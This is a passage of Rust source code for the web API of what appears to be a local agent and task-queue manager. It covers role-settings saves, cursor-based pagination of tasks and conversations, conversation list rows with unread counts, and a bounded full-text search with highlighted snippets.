5380/// `PUT /api/settings/roles` - save role assignments to the machine config.
5381///
5382/// The write target is `ui.machine_config` and nothing in the body can change
5383/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5384/// 422 with the reason in words.
5385async fn settings_put_roles(
5386    State(ui): State<Arc<Ui>>,
5387    Query(q): Query<SettingsQuery>,
5388    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5389) -> ApiResult<Json<settings::SettingsView>> {
5390    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5391    blocking(move || {
5392        let (repo, known) = settings_context(&ui, q)?;
5393        settings::save_with_repos(
5394            &repo,
5395            ui.machine_config.as_deref(),
5396            &body.revision,
5397            &body.roles,
5398            &body.counts,
5399            &known,
5400        )
5401        .map(Json)
5402        .map_err(|e| match e {
5403            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5404            settings::SaveError::Refused(m) => ApiError {
5405                text_reason: None,
5406                status: StatusCode::UNPROCESSABLE_ENTITY,
5407                message: m,
5408            },
5409            settings::SaveError::Internal(m) => ApiError::internal(m),
5410        })
5411    })
5412    .await
5413}
5414
5415async fn queue_list(
5416    State(ui): State<Arc<Ui>>,
5417    Query(q): Query<ListQuery>,
5418) -> ApiResult<Json<Vec<TaskView>>> {
5419    blocking(move || {
5420        let tasks = ui.queue.list();
5421        let inv =
5422            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5423        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5424        Ok(Json(
5425            tasks
5426                .into_iter()
5427                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5428                .map(|t| {
5429                    TaskView::with_inventory(t, &inv).with_admission(
5430                        &admission,
5431                        &ui.queue,
5432                        Some(&inv),
5433                        &ui.home,
5434                    )
5435                })
5436                .collect(),
5437        ))
5438    })
5439    .await
5440}
5441
5442/// History pages read a bounded number of records; the first conversation
5443/// page also includes every open talk. Cursors advance through a frozen snapshot,
5444/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5445/// Concurrent inserts are reconciled by a trailing store refresh.
5446#[derive(Debug, Default, Deserialize)]
5447struct PageQuery {
5448    before: Option<String>,
5449}
5450
5451#[derive(Serialize)]
5452struct StorePage<T> {
5453    rows: Vec<T>,
5454    next: Option<String>,
5455}
5456
5457const STORE_PAGE_SIZE: usize = 16;
5458
5459/// Freeze membership and the initial open/history boundary for a cursor walk.
5460/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5461/// the next store revision. Never rescan the entire directory for every page.
5462#[derive(Debug)]
5463struct ListWalk {
5464    token: u64,
5465    talks: bool,
5466    opened: std::time::Instant,
5467    ids: Arc<Vec<String>>,
5468    initial_end: usize,
5469}
5470
5471/// Read only the bounded goal header. Legacy layouts with goals after turns
5472/// are classified when their ordinary paginated row is loaded.
5473fn read_owner_goal(reader: impl std::io::Read) -> bool {
5474    use serde::de::{IgnoredAny, MapAccess, Visitor};
5475    struct Header<'a>(&'a mut bool);
5476    impl<'de> Visitor<'de> for Header<'_> {
5477        type Value = ();
5478        fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
5479            f.write_str("conversation goals")
5480        }
5481        fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<(), A::Error> {
5482            while let Some(key) = map.next_key::<String>()? {
5483                if key == "turns" {
5484                    return Err(serde::de::Error::custom("transcript boundary"));
5485                }
5486                if key == "goals" {
5487                    let goals: Vec<crate::chat_goal::Goal> = map.next_value()?;
5488                    *self.0 = crate::chat_status::Goals::of(&goals).owner > 0;
5489                    return Err(serde::de::Error::custom("goals read"));
5490                }
5491                map.next_value::<IgnoredAny>()?;
5492            }
5493            Ok(())
5494        }
5495    }
5496    let mut owner = false;
5497    let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
5498    let mut json = serde_json::Deserializer::from_reader(reader);
5499    let _ = serde::Deserializer::deserialize_map(&mut json, Header(&mut owner));
5500    owner
5501}
5502
5503fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5504    page_ids_with(ui, talks, q, |ui, ids| {
5505        // A conversation owing the owner a decision is listed with the open
5506        // ones even when closed, so the Needs owner filter never depends on
5507        // walking closed history.
5508        let mut open = open_talk_ids(ui, ids);
5509        let inventory = chat_inventory(ui);
5510        let owing = inventory.needs_owner();
5511        open.extend(ids.iter().filter(|id| owing.contains(id.as_str())).cloned());
5512        let mut goals = ui
5513            .monitor
5514            .closed_goal_index
5515            .lock()
5516            .unwrap_or_else(PoisonError::into_inner);
5517        let present: HashSet<_> = ids.iter().collect();
5518        goals.retain(|id, _| present.contains(id));
5519        for id in ids {
5520            if open.contains(id) {
5521                continue;
5522            }
5523            let path = ui.talks.path_of(id);
5524            let identity = goal_identity(&path).ok();
5525            let owner = if let Some((old, owner)) = goals.get(id)
5526                && identity.as_ref() == Some(old)
5527            {
5528                *owner
5529            } else {
5530                let owner = std::fs::File::open(&path).ok().is_some_and(read_owner_goal);
5531                if let Some(identity) = identity
5532                    && goal_identity(&path).is_ok_and(|after| after == identity)
5533                {
5534                    goals.insert(id.clone(), (identity, owner));
5535                }
5536                owner
5537            };
5538            if owner {
5539                open.insert(id.clone());
5540            }
5541        }
5542        open
5543    })
5544}
5545
5546fn page_ids_with(
5547    ui: &Ui,
5548    talks: bool,
5549    q: PageQuery,
5550    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5551) -> ApiResult<(Vec<String>, Option<String>)> {
5552    let mut walks = ui
5553        .monitor
5554        .list_walks
5555        .lock()
5556        .unwrap_or_else(PoisonError::into_inner);
5557    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5558    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5559        let (token, offset) = cursor
5560            .split_once(':')
5561            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5562        let token = token
5563            .parse::<u64>()
5564            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5565        let offset = offset
5566            .parse::<usize>()
5567            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5568        let walk = walks
5569            .iter()
5570            .find(|walk| walk.token == token && walk.talks == talks)
5571            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5572        (token, walk.ids.clone(), offset, walk.initial_end)
5573    } else {
5574        // Header I/O must not hold the snapshot registry shared with queue
5575        // pagination or with clients continuing an existing history walk.
5576        drop(walks);
5577        let root = if talks {
5578            ui.talks.root()
5579        } else {
5580            ui.queue.root()
5581        };
5582        let mut ids = crate::queue::record_ids(root, "json")?;
5583        ids.sort_unstable_by(|a, b| b.cmp(a));
5584        let initial_end = if talks {
5585            let open = classify(ui, &ids);
5586            // Stable partition: ID order is only the existing membership order,
5587            // never a substitute for the UI's creation-time ordering.
5588            ids.sort_by_key(|id| !open.contains(id));
5589            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5590        } else {
5591            STORE_PAGE_SIZE.min(ids.len())
5592        };
5593        let ids = Arc::new(ids);
5594        walks = ui
5595            .monitor
5596            .list_walks
5597            .lock()
5598            .unwrap_or_else(PoisonError::into_inner);
5599        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5600        let mut token = crate::rng::entropy();
5601        while walks.iter().any(|walk| walk.token == token) {
5602            token = crate::rng::entropy();
5603        }
5604        // Four clients can enumerate both stores and overlap a refresh. Bound
5605        // retained membership snapshots; an evicted cursor explicitly retries.
5606        if walks.len() >= 16 {
5607            walks.remove(0);
5608        }
5609        walks.push(ListWalk {
5610            token,
5611            talks,
5612            opened: std::time::Instant::now(),
5613            ids: ids.clone(),
5614            initial_end,
5615        });
5616        (token, ids, 0, initial_end)
5617    };
5618    if offset > ids.len() {
5619        return Err(ApiError::bad_request("Invalid list cursor"));
5620    }
5621    let end = if offset == 0 {
5622        initial_end
5623    } else {
5624        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5625    };
5626    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5627    Ok((ids[offset..end].to_vec(), next))
5628}
5629
5630async fn queue_page(
5631    State(ui): State<Arc<Ui>>,
5632    Query(q): Query<PageQuery>,
5633) -> ApiResult<Json<StorePage<TaskView>>> {
5634    blocking(move || {
5635        let (ids, next) = page_ids(&ui, false, q)?;
5636        let tasks: Vec<_> = ids
5637            .into_iter()
5638            .filter_map(|id| ui.queue.get(&id).ok())
5639            .collect();
5640        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5641        let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
5642        let rows = tasks
5643            .into_iter()
5644            .map(|task| {
5645                TaskView::with_inventory(task, &inv).with_admission(
5646                    &admission,
5647                    &ui.queue,
5648                    Some(&inv),
5649                    &ui.home,
5650                )
5651            })
5652            .collect();
5653        Ok(Json(StorePage { rows, next }))
5654    })
5655    .await
5656}
5657
5658/// Fixed-size wire projection. Agent timestamps stay in the server index so
5659/// exact unread counts do not require sending an ever-growing turn list.
5660#[derive(Debug, Clone, Serialize)]
5661struct TalkListView {
5662    title: Option<talk::ChatTitle>,
5663    id: String,
5664    repo: PathBuf,
5665    agent: String,
5666    status: talk::TalkStatus,
5667    turns: Vec<TalkListTurn>,
5668    turn_count: usize,
5669    unread_count: usize,
5670    context: talk::ContextUsage,
5671    #[serde(skip)]
5672    agent_times: Vec<Timestamp>,
5673    #[serde(skip)]
5674    goals: crate::chat_status::Goals,
5675    thinking: bool,
5676    /// Display-only triage state derived from durable evidence.
5677    chat_status: crate::chat_status::ChatStatus,
5678    created_at: Timestamp,
5679    updated_at: Timestamp,
5680}
5681
5682#[derive(Debug, Clone, Serialize)]
5683struct TalkListTurn {
5684    who: talk::Who,
5685    at: Timestamp,
5686    body: String,
5687}
5688
5689/// Shared status evidence. Keyed by the monitor's queue, question, decision and
5690/// loop revisions so a list read never re-parses the stores unless one moved;
5691/// without a published revision (before the first scan) it is built per call.
5692fn chat_inventory(ui: &Ui) -> Arc<crate::chat_status::Inventory> {
5693    let unreadable = ui
5694        .monitor
5695        .chat_sources_unreadable
5696        .load(std::sync::atomic::Ordering::Acquire);
5697    let key = ui
5698        .monitor
5699        .latest
5700        .lock()
5701        .unwrap_or_else(PoisonError::into_inner)
5702        .as_ref()
5703        .map(|(revisions, _)| *revisions);
5704    if !unreadable
5705        && let Some(key) = key
5706        && let Some((cached, inventory)) = ui
5707            .monitor
5708            .chat_inventory
5709            .lock()
5710            .unwrap_or_else(PoisonError::into_inner)
5711            .as_ref()
5712        && *cached == key
5713    {
5714        return Arc::clone(inventory);
5715    }
5716    let tasks = ui.queue.list();
5717    let questions = ui.questions.list();
5718    let mut inventory = crate::chat_status::Inventory::collect(&ui.home, &tasks, &questions);
5719    if unreadable
5720        || crate::queue::record_ids(ui.queue.root(), "json")
5721            .map_or(true, |ids| ids.len() > tasks.len())
5722        || crate::queue::record_ids(ui.questions.root(), "json")
5723            .map_or(true, |ids| ids.len() > questions.len())
5724    {
5725        inventory.mark_unreadable();
5726    }
5727    let inventory = Arc::new(inventory);
5728    if !unreadable && let Some(key) = key {
5729        *ui.monitor
5730            .chat_inventory
5731            .lock()
5732            .unwrap_or_else(PoisonError::into_inner) = Some((key, Arc::clone(&inventory)));
5733    }
5734    inventory
5735}
5736
5737fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5738    let reads: HashMap<String, Timestamp> = headers
5739        .get("x-talk-reads")
5740        .and_then(|v| v.to_str().ok())
5741        .and_then(|v| serde_json::from_str(v).ok())
5742        .unwrap_or_default();
5743    let inventory = chat_inventory(ui);
5744    let mut index = ui
5745        .monitor
5746        .talk_index
5747        .lock()
5748        .unwrap_or_else(PoisonError::into_inner);
5749    // Bound memory independently of the number of conversations ever opened.
5750    if index.len() > 1000 {
5751        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5752        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5753        if index.len() > 1000 {
5754            index.retain(|id, _| keep.contains(id.as_str()));
5755        }
5756    }
5757    ids.into_iter()
5758        .filter_map(|id| {
5759            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5760            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5761                let talk = ui.talks.get(&id).ok()?;
5762                #[cfg(test)]
5763                ui.monitor
5764                    .talk_parses
5765                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5766                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5767                let last = talk.turns.len().checked_sub(1);
5768                let turns = talk
5769                    .turns
5770                    .iter()
5771                    .enumerate()
5772                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5773                    .map(|(_, t)| TalkListTurn {
5774                        who: t.who,
5775                        at: t.at,
5776                        body: t
5777                            .body
5778                            .lines()
5779                            .next()
5780                            .unwrap_or_default()
5781                            .chars()
5782                            .take(240)
5783                            .collect(),
5784                    })
5785                    .collect();
5786                let row = TalkListView {
5787                    title: talk.title.clone(),
5788                    agent_times: talk
5789                        .turns
5790                        .iter()
5791                        .filter(|t| t.who == talk::Who::Agent)
5792                        .map(|t| t.at)
5793                        .collect(),
5794                    turn_count: talk.turns.len(),
5795                    goals: crate::chat_status::Goals::of(&talk.goals),
5796                    chat_status: crate::chat_status::ChatStatus::placeholder(),
5797                    unread_count: 0,
5798                    context: talk::context_usage(&talk, None),
5799                    turns,
5800                    thinking: false,
5801                    id: talk.id,
5802                    repo: talk.repo,
5803                    agent: talk.agent,
5804                    status: talk.status,
5805                    created_at: talk.created_at,
5806                    updated_at: talk.updated_at,
5807                };
5808                index.insert(id.clone(), (identity, row));
5809            }
5810            let row = &index.get(&id)?.1;
5811            let mut row = TalkListView {
5812                title: row.title.clone(),
5813                unread_count: row
5814                    .agent_times
5815                    .iter()
5816                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5817                    .count(),
5818                agent_times: Vec::new(),
5819                goals: row.goals,
5820                chat_status: row.chat_status.clone(),
5821                id: row.id.clone(),
5822                repo: row.repo.clone(),
5823                agent: row.agent.clone(),
5824                status: row.status,
5825                context: row.context.clone(),
5826                turns: row.turns.clone(),
5827                turn_count: row.turn_count,
5828                thinking: false,
5829                created_at: row.created_at,
5830                updated_at: row.updated_at,
5831            };
5832            let turn_held = ui.talks.turn_held(&id);
5833            row.thinking = turn_held || inventory.busy(&id);
5834            row.chat_status = inventory.status_of(&id, row.status.open(), row.goals, turn_held);
5835            Some(row)
5836        })
5837        .collect()
5838}
5839
5840async fn talks_page(
5841    State(ui): State<Arc<Ui>>,
5842    Query(q): Query<PageQuery>,
5843    headers: header::HeaderMap,
5844) -> ApiResult<Json<StorePage<TalkListView>>> {
5845    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5846        let (ids, next) = page_ids(&ui, true, q)?;
5847        Ok(Json(StorePage {
5848            rows: talk_rows(&ui, ids, &headers),
5849            next,
5850        }))
5851    })
5852    .await
5853}
5854
5855async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5856    blocking(move || {
5857        let tasks = ui.indexed_tasks()?;
5858        Ok(Json(TaskCountsView::from(
5859            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5860        )))
5861    })
5862    .await
5863}
5864
5865/// Most hits one search returns. The rest are counted in `total`.
5866const SEARCH_MAX_HITS: usize = 100;
5867/// Longest query, in characters, and most terms it is split into.
5868const SEARCH_MAX_QUERY: usize = 200;
5869const SEARCH_MAX_TERMS: usize = 8;
5870/// Characters of context kept before the first hit, and after it.
5871const SNIPPET_BEFORE: usize = 50;
5872const SNIPPET_AFTER: usize = 110;
5873
5874/// `?scope=runs|tasks&q=...`
5875#[derive(Debug, Deserialize)]
5876struct SearchQuery {
5877    #[serde(default)]
5878    scope: String,
5879    #[serde(default)]
5880    q: String,
5881}
5882
5883/// One piece of a snippet. `hit` pieces are what matched; the client renders
5884/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5885#[derive(Debug, Serialize, PartialEq, Eq)]
5886struct SnippetPart {
5887    text: String,
5888    hit: bool,
5889}
5890
5891/// Position plus transcript evidence, without changing the saved chat schema.
5892#[derive(Debug, Serialize)]
5893struct ChatSearchTarget {
5894    turn: usize,
5895    message: usize,
5896    at: String,
5897    text: String,
5898}
5899
5900fn chat_text_key(body: &str) -> String {
5901    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5902        (hash ^ u32::from(c)).wrapping_mul(16777619)
5903    });
5904    format!("{hash:08x}:{}", body.chars().count())
5905}
5906
5907#[derive(Debug, Serialize)]
5908struct SearchHit {
5909    #[serde(skip_serializing_if = "Option::is_none")]
5910    target: Option<ChatSearchTarget>,
5911    id: String,
5912    /// The name of the field the snippet was cut from.
5913    field: String,
5914    snippet: Vec<SnippetPart>,
5915    /// The run's list row, so the page can apply its state / section / repo
5916    /// filters to a hit outside the loaded window. Absent for tasks and for a
5917    /// run record the list view cannot read.
5918    #[serde(skip_serializing_if = "Option::is_none")]
5919    run: Option<RunSummary>,
5920}
5921
5922#[derive(Debug, Serialize)]
5923struct SearchView {
5924    scope: String,
5925    q: String,
5926    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5927    hits: Vec<SearchHit>,
5928    /// Every match, hits beyond the cap included.
5929    total: usize,
5930    truncated: bool,
5931    /// Runs whose `run.json` could not be parsed at all. They were not
5932    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5933    unreadable: usize,
5934}
5935
5936/// The text leaves of a JSON document, with the name of the field each sits
5937/// under. Keys and numbers are skipped: they are structure, not prose.
5938fn text_leaves<'a>(
5939    value: &'a serde_json::Value,
5940    field: &'a str,
5941    out: &mut Vec<(&'a str, &'a str)>,
5942) {
5943    match value {
5944        serde_json::Value::String(s) => out.push((field, s)),
5945        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5946        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5947        _ => {}
5948    }
5949}
5950
5951/// Lower-case one character without changing how many there are, so indices
5952/// in the lowered text are indices in the original.
5953fn fold_char(c: char) -> char {
5954    c.to_lowercase().next().unwrap_or(c)
5955}
5956
5957/// Split a query into its lower-cased terms.
5958fn search_terms(q: &str) -> Vec<String> {
5959    let mut terms: Vec<String> = Vec::new();
5960    for t in q.split_whitespace() {
5961        let t = t.to_lowercase();
5962        if !terms.contains(&t) {
5963            terms.push(t);
5964        }
5965    }
5966    terms
5967}
5968
5969/// Match `terms` (all of them, anywhere in the document) against the leaves
5970/// and cut a snippet around the first hit. `None` when a term is missing.
5971fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5972    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5973    let mut first: Option<usize> = None;
5974    for term in terms {
5975        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5976        first = Some(first.map_or(at, |f| f.min(at)));
5977    }
5978    // The leaf holding the earliest hit of any term is where the snippet is cut.
5979    let (field, text) = leaves[first?];
5980    Some(SearchHit {
5981        id: String::new(),
5982        target: None,
5983        field: field.to_owned(),
5984        snippet: snippet_of(text, terms),
5985        run: None,
5986    })
5987}
5988
5989/// A window of `text` around the first occurrence of any term, whitespace
5990/// collapsed, with every term occurrence inside the window marked.
5991fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5992    let chars: Vec<char> = text.chars().collect();
5993    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5994    let needles: Vec<Vec<char>> = terms
5995        .iter()
5996        .map(|t| t.chars().map(fold_char).collect())
5997        .collect();
5998    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5999        let mut best: Option<(usize, usize)> = None;
6000        for n in needles.iter().filter(|n| !n.is_empty()) {
6001            // `to` bounds where a match may start; it may run past `to` (the
6002            // caller clips what it shows). A term longer than the field cannot
6003            // occur in it (it may live in another leaf of the document).
6004            if n.len() > chars.len() || to == 0 {
6005                continue;
6006            }
6007            let last = (to - 1).min(chars.len() - n.len());
6008            if from > last {
6009                continue;
6010            }
6011            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
6012                && best.is_none_or(|(b, _)| i < b)
6013            {
6014                best = Some((i, i + n.len()));
6015            }
6016        }
6017        best
6018    };
6019    let Some((start, _)) = find(0, chars.len()) else {
6020        // Matched only through a case mapping that changes length: show the head.
6021        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
6022        return vec![SnippetPart {
6023            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
6024            hit: false,
6025        }];
6026    };
6027    let lo = start.saturating_sub(SNIPPET_BEFORE);
6028    let hi = (start + SNIPPET_AFTER).min(chars.len());
6029    let mut parts: Vec<SnippetPart> = Vec::new();
6030    let mut push = |s: &[char], hit: bool| {
6031        if s.is_empty() {
6032            return;
6033        }
6034        let text: String = s.iter().collect();
6035        match parts.last_mut() {
6036            Some(p) if p.hit == hit => p.text.push_str(&text),
6037            _ => parts.push(SnippetPart { text, hit }),
6038        }
6039    };
6040    if lo > 0 {
6041        push(&['\u{2026}'], false);
6042    }
6043    let mut at = lo;
6044    while at < hi {
6045        match find(at, hi) {
6046            Some((s, e)) => {
6047                push(&chars[at..s], false);
6048                // A match running past the window is shown up to its edge.
6049                let shown = e.min(hi);
6050                push(&chars[s..shown], true);
6051                at = shown;
6052            }
6053            None => {
6054                push(&chars[at..hi], false);
6055                at = hi;
6056            }
6057        }
6058    }
6059    if hi < chars.len() {
6060        push(&['\u{2026}'], false);
6061    }
6062    // Collapse whitespace (newlines in an instruction) without disturbing the
6063    // hit boundaries.
6064    let mut prev_space = false;
6065    for p in &mut parts {
6066        let mut out = String::with_capacity(p.text.len());
6067        for c in p.text.chars() {
6068            if c.is_whitespace() {
6069                if !prev_space {
6070                    out.push(' ');
6071                }
6072                prev_space = true;
6073            } else {
6074                out.push(c);
6075                prev_space = false;
6076            }
6077        }
6078        p.text = out;
6079    }
6080    parts.retain(|p| !p.text.is_empty());
6081    parts
6082}
6083
6084/// The search over `docs` (id, document), newest first, capped.
6085fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
6086where
6087    I: IntoIterator<Item = (String, serde_json::Value)>,
6088{
6089    for (id, doc) in docs {
6090        let mut leaves = Vec::new();
6091        // The id is text an operator types too, and it is a map key on disk,
6092        // not a leaf.
6093        leaves.push(("id", id.as_str()));
6094        text_leaves(&doc, "", &mut leaves);
6095        if let Some(mut hit) = search_document(terms, &leaves) {
6096            view.total += 1;
6097            if view.hits.len() < SEARCH_MAX_HITS {
6098                hit.id = id;
6099                view.hits.push(hit);
6100            }
6101        }
6102    }
6103    view.truncated = view.total > view.hits.len();
6104}
6105
6106/// What a conversation is searched by: its list title and each turn's text,
6107/// under their sender labels so the snippet says who spoke. Nothing else
6108/// (session ids, repo paths, usage, drafts) is part of the document.
6109///
6110/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
6111fn talk_search_doc(talk: &Talk) -> serde_json::Value {
6112    let opener = talk
6113        .title
6114        .as_ref()
6115        .filter(|t| !t.text.is_empty())
6116        .map(|t| t.text.as_str())
6117        .or_else(|| {
6118            talk.turns
6119                .iter()
6120                .find(|t| t.who == talk::Who::Operator)
6121                .map(|t| t.body.as_str())
6122        })
6123        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
6124        .unwrap_or("");
6125    let title: String = if opener.chars().count() > 96 {
6126        opener.chars().take(95).chain(['\u{2026}']).collect()
6127    } else {
6128        opener.to_owned()
6129    };
6130    let turns: Vec<serde_json::Value> = talk
6131        .turns
6132        .iter()
6133        .flat_map(|t| {
6134            let label = |message| match talk::sender(t, message) {
6135                talk::Sender::External => "external",
6136                _ => match t.who {
6137                    talk::Who::Operator => "operator",
6138                    talk::Who::Agent => "agent",
6139                },
6140            };
6141            if t.messages.is_empty() {
6142                vec![serde_json::json!({ label(None): t.body })]
6143            } else {
6144                t.messages
6145                    .iter()
6146                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
6147                    .collect()
6148            }
6149        })
6150        .collect();
6151    serde_json::json!({ "title": title, "turns": turns })
6152}
6153
6154fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
6155    let doc = talk_search_doc(talk);
6156    let mut leaves = vec![("id", talk.id.as_str())];
6157    text_leaves(&doc, "", &mut leaves);
6158    let mut hit = search_document(terms, &leaves)?;
6159    // Use exactly the leaf that supplied the snippet, including title/id hits.
6160    let leaf = leaves
6161        .iter()
6162        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
6163    let messages: Vec<_> = talk
6164        .turns
6165        .iter()
6166        .enumerate()
6167        .flat_map(|(i, turn)| {
6168            let bodies: Vec<&str> = if turn.messages.is_empty() {
6169                vec![turn.body.as_str()]
6170            } else {
6171                turn.messages.iter().map(|m| m.body.as_str()).collect()
6172            };
6173            bodies
6174                .into_iter()
6175                .enumerate()
6176                .map(move |(j, body)| (i, j, turn, body))
6177        })
6178        .collect();
6179    let target = leaf
6180        .checked_sub(2)
6181        .and_then(|i| messages.get(i))
6182        .or_else(|| {
6183            // An unsaved title is the opener's first nonempty line, so its
6184            // snippet still identifies a transcript message. Saved titles do not.
6185            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
6186                return None;
6187            }
6188            let (index, opener) = talk
6189                .turns
6190                .iter()
6191                .enumerate()
6192                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
6193            let line = opener
6194                .body
6195                .lines()
6196                .map(str::trim)
6197                .find(|line| !line.is_empty())?;
6198            messages.iter().find(|(i, _, _, body)| {
6199                *i == index
6200                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
6201            })
6202        });
6203    if let Some((i, j, turn, body)) = target {
6204        hit.target = Some(ChatSearchTarget {
6205            turn: *i,
6206            message: *j,
6207            at: turn.at.to_string(),
6208            text: chat_text_key(body),
6209        });
6210    }
6211    hit.id = talk.id.clone();
6212    Some(hit)
6213}
6214
6215/// Read-only full-text search over every run's `run.json`, every task or every
6216/// conversation (title and transcript).
6217///
6218/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
6219/// record from an older schema still searches; only a file that is not JSON
6220/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
6221async fn search_get(
6222    State(ui): State<Arc<Ui>>,
6223    Query(q): Query<SearchQuery>,
6224) -> ApiResult<Json<SearchView>> {
6225    let query = q.q.trim().to_owned();
6226    if query.is_empty() {
6227        return Err(ApiError::bad_request("q must not be empty"));
6228    }
6229    if query.chars().count() > SEARCH_MAX_QUERY {
6230        return Err(ApiError::bad_request(format!(
6231            "q is longer than {SEARCH_MAX_QUERY} characters"
6232        )));
6233    }
6234    let terms = search_terms(&query);
6235    if terms.len() > SEARCH_MAX_TERMS {
6236        return Err(ApiError::bad_request(format!(
6237            "q has more than {SEARCH_MAX_TERMS} terms"
6238        )));
6239    }
6240    let scope = q.scope;
6241    if scope != "runs" && scope != "tasks" && scope != "chats" {
6242        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
6243    }
6244    blocking(move || {
6245        let mut view = SearchView {
6246            scope: scope.clone(),
6247            q: query,
6248            hits: Vec::new(),
6249            total: 0,
6250            truncated: false,
6251            unreadable: 0,
6252        };
6253        if scope == "runs" {
6254            let mut unreadable = 0;
6255            // One run.json is read, matched and dropped at a time; nothing
6256            // holds the whole history. The scan runs to the end even past the
6257            // hit cap so `total` and `unreadable` stay exact.
6258            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
6259                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
6260                match body.and_then(|b| serde_json::from_str(&b).ok()) {
6261                    Some(v) => Some((id, v)),
6262                    None => {
6263                        unreadable += 1;
6264                        None
6265                    }
6266                }
6267            });
6268            search_docs(&terms, docs, &mut view);
6269            view.unreadable = unreadable;
6270            // Only the capped hits get a row: the filters need a run's state,
6271            // and reading every match would be the whole history again.
6272            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
6273            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6274            for hit in &mut view.hits {
6275                if let Ok(state) = read_run(&ui.runs, &hit.id) {
6276                    hit.run = summarize(
6277                        [state],
6278                        &open_runs,
6279                        &claimed,
6280                        &superseded,
6281                        |p| probe.borrow_mut().status(p),
6282                        |p| probe.borrow_mut().started_at(p),
6283                    )
6284                    .pop();
6285                }
6286            }
6287        } else if scope == "chats" {
6288            let (talks, unreadable) = ui.talks.list_counting_unreadable();
6289            view.unreadable = unreadable;
6290            for talk in &talks {
6291                if let Some(hit) = search_chat(&terms, talk) {
6292                    view.total += 1;
6293                    if view.hits.len() < SEARCH_MAX_HITS {
6294                        view.hits.push(hit);
6295                    }
6296                }
6297            }
6298            view.truncated = view.total > view.hits.len();
6299        } else {
6300            let docs = ui.queue.list().into_iter().filter_map(|t| {
6301                let mut v = serde_json::to_value(&t).ok()?;
6302                // `source` serialises as a tagged object; the label is what
6303                // the operator reads ("human", "chat@a1b2").
6304                if let Some(o) = v.as_object_mut() {
6305                    o.insert("filed_by".to_owned(), t.source_label().into());
6306                }
6307                Some((t.id, v))
6308            });
6309            search_docs(&terms, docs, &mut view);
6310        }
6311        Ok(Json(view))
6312    })
6313    .await
6314}
6315
6316/// One attempt in a task's history, as the task page lists it.
6317#[derive(Debug, Serialize)]
6318struct TaskRunView {
6319    activity: Option<String>,
6320    /// 1-based position in [`Task::runs`].
6321    n: usize,
6322    id: String,
6323    short: String,
